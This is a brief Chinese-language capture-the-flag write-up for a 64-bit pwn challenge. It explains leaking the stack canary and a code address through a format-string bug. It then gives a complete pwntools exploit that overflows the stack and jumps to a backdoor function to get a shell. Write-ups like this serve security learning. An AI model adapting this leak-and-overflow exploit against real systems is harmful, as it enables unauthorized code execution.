(平台偏移和本地偏移测算出来有出入,平台的锅)
此题64位保护全开
主函数中可以看到有格式化字符串漏洞,可以利用这一点将canary和endbr4地址打印出来
确定canary位置(rbp-8处,距离v20 0x40-0x8=0x38
利用pwngdb中的fmtarg可以测算出偏移量(注意,gdb测出的偏移量可以打通本地,打不通远端,恼
利用泄露的地址可以加上后门函数偏移量
exp如下:
from pwn import *
context(log_level='debug',os='linux',arch='amd64',terminal=['tmux','splitw','-h'])
io=process("./find_flag")
# io=remote("1.14.71.254",28571)
shell_offset=0x1228
# gdb.attach(io)
# pause()
io.recvuntil(b"? ")
payload=b"%17$paa%14$p"
# payload=b"%17$paa%16$p" 远端endbr4偏移跟本地不一样,平台太坑了
io.sendline(payload)
io.recvuntil(b", ")
canary=int(io.recv(18),16)
print("canary "+hex(canary))
io.recvuntil(b"aa")
base_addr=int(io.recv(14),16)-0x1140
shell_addr=base_addr+shell_offset
print("base "+hex(base_addr))
io.recvuntil(b"? ")
payload=cyclic(0x38)+p64(canary)+p64(0)+p64(shell_addr)
io.sendline(payload)
io.interactive()